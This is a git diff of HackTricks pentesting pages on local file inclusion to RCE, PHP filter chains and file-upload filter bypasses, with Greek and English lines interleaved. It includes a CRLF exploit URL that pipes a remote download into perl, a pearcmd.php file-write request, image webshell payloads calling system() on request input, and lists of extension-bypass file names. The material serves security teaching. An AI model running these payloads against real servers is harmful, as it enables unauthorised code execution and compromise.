lfi2rce-via-segmentation-fault.md
{{#endref}}
### Μέσω αποθήκευσης προσωρινών αρχείων Nginx
### Μέσω Nginx αποθήκευσης προσωρινών αρχείων
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
@ -595,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
Ακόμα κι αν βρήκατε ένα **Local File Inclusion** και **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε RCE:
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
{{#ref}}
@ -604,7 +606,7 @@ via-php_session_upload_progress.md
### Μέσω temp file uploads σε Windows
Αν βρήκατε ένα **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows**, μπορεί να αποκτήσετε RCE:
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
{{#ref}}
@ -619,7 +621,7 @@ The following request create a file in `/tmp/hello.php` with the content `<?=php
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Το ακόλουθο εκμεταλλεύεται ένα CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Το ακόλουθο εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -628,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Μέσω phpinfo() (file_uploads = on)
Αν βρήκατε ένα **Local File Inclusion** και ένα αρχείο που αποκαλύπτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE:
Εάν βρήκατε μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on, μπορείτε να αποκτήσετε RCE:
{{#ref}}
@ -637,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Αν βρήκατε ένα **Local File Inclusion** και μπορείτε να **exfiltrate the path** του temp file ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**:
Εάν βρήκατε μια **Local File Inclusion** και μπορείτε να **exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**:
{{#ref}}
@ -646,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Μέσω eternal waiting + bruteforce
Αν μπορείτε να καταχραστείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το temporary file:
Εάν μπορείτε να εκμεταλλευτείτε το LFI για να **upload temporary files** και να κάνετε τον **server** να **hang** την εκτέλεση του PHP, θα μπορούσατε στη συνέχεια να **brute force filenames during hours** για να βρείτε το προσωρινό αρχείο:
{{#ref}}
@ -655,14 +657,14 @@ lfi2rce-via-eternal-waiting.md
### Σε Fatal Error
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία φορά 2 φορές για να προκαλέσετε αυτό το error).
Αν συμπεριλάβετε κάποιο από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία 2 φορές για να προκαλέσετε αυτό το σφάλμα).
**Δεν ξέρω πώς είναι αυτό χρήσιμο αλλά μπορεί να είναι.**\
_Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται._
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\
_Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα PHP προσωρινά αρχεία που ανέβηκαν διαγράφονται._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Αναφορές
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -671,6 +673,7 @@ _Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -1,39 +1,40 @@
# LFI2RCE via PHP Filters
# LFI2RCE μέσω PHP Filters
{{#include ../../banners/hacktricks-training.md}}
## Intro
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
## Εισαγωγή
Βασικά, ο στόχος του script είναι να **δημιουργήσει μια Base64** συμβολοσειρά στην **αρχή** του αρχείου που θα **αποκωδικοποιηθεί τελικά** παρέχοντας το επιθυμητό payload που θα **ερμηνευτεί από το `include`**.
Αυτή η [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
Οι βάσεις για να το κάνετε αυτό είναι:
Ο στόχος του script είναι να **δημιουργήσει μια Base64** συμβολοσειρά στην **αρχή** του αρχείου που θα **αποκωδικοποιηθεί στο τέλος**, παρέχοντας το επιθυμητό payload το οποίο θα **ερμηνευτεί από το `include`**.
- `convert.iconv.UTF8.CSISO2022KR` θα προσθέσει πάντα `\x1b$)C` στην αρχή της συμβολοσειράς
- `convert.base64-decode` είναι εξαιρετικά ανεκτικός, βασικά θα αγνοήσει οποιουςδήποτε χαρακτήρες δεν είναι έγκυροι base64. Δίνει κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`.
Οι βάσεις για αυτό είναι:
Ο βρόχος για να δημιουργήσετε αυθαίρετο περιεχόμενο είναι:
- `convert.iconv.UTF8.CSISO2022KR` θα πάντα προσθέτει `\x1b$)C` στην αρχή της συμβολοσειράς
- `convert.base64-decode` είναι εξαιρετικά ανεκτικό, ουσιαστικά θα αγνοήσει οποιουςδήποτε χαρακτήρες που δεν είναι έγκυροι base64. Δίνει κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`.
1. προσθέστε `\x1b$)C` στην αρχή της συμβολοσειράς μας όπως περιγράφεται παραπάνω
2. εφαρμόστε μια αλυσίδα μετατροπών iconv που αφήνει την αρχική μας base64 ανέπαφη και μετατρέπει το μέρος που μόλις προσθέσαμε σε κάποια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο μέρος του κωδικού μας php που είναι κωδικοποιημένος σε base64
3. αποκωδικοποιήστε και κωδικοποιήστε ξανά τη συμβολοσειρά που θα αφαιρέσει οποιοδήποτε σκουπίδι ενδιάμεσα
4. Επιστρέψτε στο 1 αν η base64 που θέλουμε να κατασκευάσουμε δεν έχει τελειώσει ακόμα
5. αποκωδικοποιήστε σε base64 για να αποκτήσετε τον php κώδικά μας
Ο βρόχος για να δημιουργήσεις arbitrary περιεχόμενο είναι:
1. προσθέτεις `\x1b$)C` στην αρχή της συμβολοσειράς όπως περιγράφηκε παραπάνω
2. εφαρμόζεις μια αλυσίδα iconv conversions που αφήνει το αρχικό base64 ανέπαφο και μετατρέπει το μέρος που μόλις προσθέσαμε σε μια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο κομμάτι του base64-encoded php κώδικα
3. base64-decode και base64-encode τη συμβολοσειρά, πράγμα που θα αφαιρέσει τυχόν σκουπίδια ανάμεσά τους
4. επανέρχεσαι στο 1 αν το base64 που θέλεις να κατασκευάσεις δεν έχει ολοκληρωθεί ακόμα
5. base64-decode για να πάρεις τον php κώδικα
> [!WARNING]
> **Οι συμπεριλήψεις** συνήθως κάνουν πράγματα όπως **να προσθέτουν ".php" στο τέλος** του αρχείου, κάτι που θα μπορούσε να δυσκολέψει την εκμετάλλευση αυτού γιατί θα χρειαστεί να βρείτε ένα αρχείο .php με περιεχόμενο που δεν θα καταστρέψει την εκμετάλλευση... ή μπορείτε **απλά να χρησιμοποιήσετε το `php://temp` ως πόρο** γιατί μπορεί **να έχει οτιδήποτε προστεθεί στο όνομα** (π.χ. +".php") και θα επιτρέπει ακόμα την εκμετάλλευση να λειτουργήσει!
> **Includes** συνήθως κάνουν πράγματα όπως **το να προσθέτουν ".php" στο τέλος** του αρχείου, κάτι που μπορεί να δυσκολέψει την εκμετάλλευση γιατί θα χρειαστεί να βρείς ένα .php αρχείο με περιεχόμενο που δεν θα καταστρέψει το exploit... ή **μπορείς απλά να χρησιμοποιήσεις `php://temp` ως resource** επειδή μπορεί **να έχει οτιδήποτε προσαρτημένο στο όνομα** (lie +".php") και αυτό θα εξακολουθήσει να επιτρέπει στο exploit να λειτουργήσει!
## Πώς να προσθέσετε επίσης επιθήματα στα αποτελέσματα
## Πώς να προσθέσεις επίσης suffixes στο τελικό αποτέλεσμα
[**Αυτή η αναφορά εξηγεί**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε να εκμεταλλευτείτε ακόμα τα PHP filters για να προσθέσετε επιθήματα στη συμβολοσειρά αποτελέσματος. Αυτό είναι εξαιρετικό σε περίπτωση που χρειάζεστε την έξοδο να έχει κάποια συγκεκριμένη μορφή (όπως json ή ίσως προσθέτοντας κάποια μαγικά bytes PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείς ακόμα να κακομεταχειριστείς PHP filters για να προσθέσεις suffixes στη τελική συμβολοσειρά. Αυτό είναι χρήσιμο σε περίπτωση που χρειάζεσαι το output να έχει κάποιο συγκεκριμένο format (όπως json ή ίσως να προσθέσεις κάποια PNG magic bytes)
## Αυτόματα Εργαλεία
## Αυτόματα εργαλεία
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(μπορεί να προσθέσει επιθήματα)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Πλήρες script
## Full script
```python
import requests
@ -95,7 +96,7 @@ print(r.text)
```
### Βελτιώσεις
Το προηγούμενο σενάριο περιορίζεται στους χαρακτήρες base64 που απαιτούνται για αυτό το payload. Επομένως, δημιούργησα το δικό μου σενάριο για να **bruteforce όλους τους χαρακτήρες base64**:
Το προηγούμενο script περιορίζεται στους χαρακτήρες base64 που χρειάζονται για εκείνο το payload. Επομένως, δημιούργησα το δικό μου script για να **bruteforce όλους τους χαρακτήρες base64**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
Εδώ είναι το **script** για να αποκτήσετε τις κωδικοποιήσεις που παράγουν κάθε γράμμα b64:
Εδώ είναι το **script** για να πάρετε τις κωδικοποιήσεις που δημιουργούν κάθε γράμμα b64:
```php
<?php
@ -253,6 +254,7 @@ find_vals($init);
## Περισσότερες Αναφορές
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# File Upload
# Μεταφόρτωση Αρχείων
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
## Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων
Άλλες χρήσιμες επεκτάσεις:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@
### Bypass file extensions checks
1. Αν ισχύει, **έλεγξε** τις **προηγούμενες επεκτάσεις.** Δοκίμασε επίσης να τις χρησιμοποιήσεις με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Έλεγξε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποίησε και τις προηγούμενες επεκτάσεις):_
1. Εάν εφαρμόζεται, **ελέγξτε** τις **παραπάνω επεκτάσεις.** Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
- _file.png.php_
- _file.png.Php5_
3. Δοκίμασε να προσθέσεις **ειδικούς χαρακτήρες στο τέλος.** Μπορείς να χρησιμοποιήσεις το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωσε ότι μπορείς επίσης να δοκιμάσεις να χρησιμοποιήσεις τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για **bruteforce** σε όλους τους χαρακτήρες **ascii** και **Unicode**. (_Σημείωση ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Δοκίμασε να παρακάμψεις τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείς επίσης να χρησιμοποιήσεις τις **προηγούμενες επεκτάσεις** για να προετοιμάσεις ένα καλύτερο payload._
4. Προσπαθήστε να παρακάμψετε τους μηχανισμούς προστασίας **ξεγελώντας τον extension parser** στο server-side με τεχνικές όπως **doubling** της **επέκτασης** ή **προσθήκη junk** δεδομένων (**null** bytes) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε ένα καλύτερο payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Πρόσθεσε **ένα άλλο επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
5. Προσθέστε **άλλο ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Δοκίμασε να βάλεις την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχήσου ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για να εκμεταλλευτείς κακοδιαμορφώσεις του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
6. Δοκιμάστε να βάλετε την **εκτελέσιμη επέκταση πριν** από την έγκυρη επέκταση και ελπίζετε ότι ο server είναι misconfigured. (χρήσιμο για εκμετάλλευση misconfigurations σε Apache όπου οτιδήποτε με επέκταση **.php**, αλλά **δεν χρειάζεται απαραίτητα να τελειώνει σε .php**, θα εκτελέσει κώδικα):
- _ex: file.php.png_
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψεις περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
8. Δοκίμασε να σπάσεις τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
7. Χρήση των **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ο χαρακτήρας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename. Το pattern "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργηθούν μη-κενά αρχεία. Επομένως, η προσθήκη ενός dot χαρακτήρα μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για περαιτέρω παράκαμψη περιορισμών (π.χ. "file.asp::$data.”)
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing
- Παρακάμψε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_, _text/plain_, application/octet-stream_
- Παράκαμψη ελέγχων **Content-Type** ρυθμίζοντας την **τιμή** του header **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Παρακάμψε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
- Παράκαμψη ελέγχου **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού image** (να μπερδέψει την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ή μπορείς επίσης να **εισάγεις το payload απευθείας** σε μια εικόνα:\
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Αν **συμπιέσεις προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Αν γίνεται **συμπίεση** στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την PLTE chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει της συμπίεσης**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Η σελίδα θα μπορούσε επίσης να κάνει **resizing** της **image**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την IDAT chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει ένα image resizing**, χρησιμοποιώντας τη PHP-GD function `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την tEXt chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Άλλα κόλπα για έλεγχο
- Βρες μια ευπάθεια για να **μετονομάσεις** το αρχείο που έχει ήδη ανέβει (για να αλλάξεις την επέκταση).
- Βρες μια ευπάθεια **Local File Inclusion** για να εκτελέσεις το backdoor.
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
- Βρείτε μια **Local File Inclusion** ευπάθεια για να εκτελέσετε το backdoor.
- **Πιθανή αποκάλυψη πληροφοριών**:
1. Ανέβασε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανέβασε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανέβασε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
4. Ανέβασε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **…:.jpg”** σε **NTFS**. (Windows)
5. Ανέβασε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανέβασε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκίμασε επίσης να **ανέβεις ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα.
1. Ανεβάστε **πολλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανεβάζοντας ένα αρχείο με **".", "..", ή "…"** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" μέσα στο "/www/" directory.
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows)
5. Ανεβάστε ένα αρχείο σε **Windows** με **άκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **απαγορευμένα** ονόματα όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Δοκιμάστε επίσης να **ανεβάσετε ένα executable** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
### Special extension tricks
### Ειδικά κόλπα με επεκτάσεις
Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **PHP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.htaccess** για να εκτελέσεις κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **ASP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.config** για να εκτελέσεις κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο με το **.htaccess** για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο με το **.config** για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
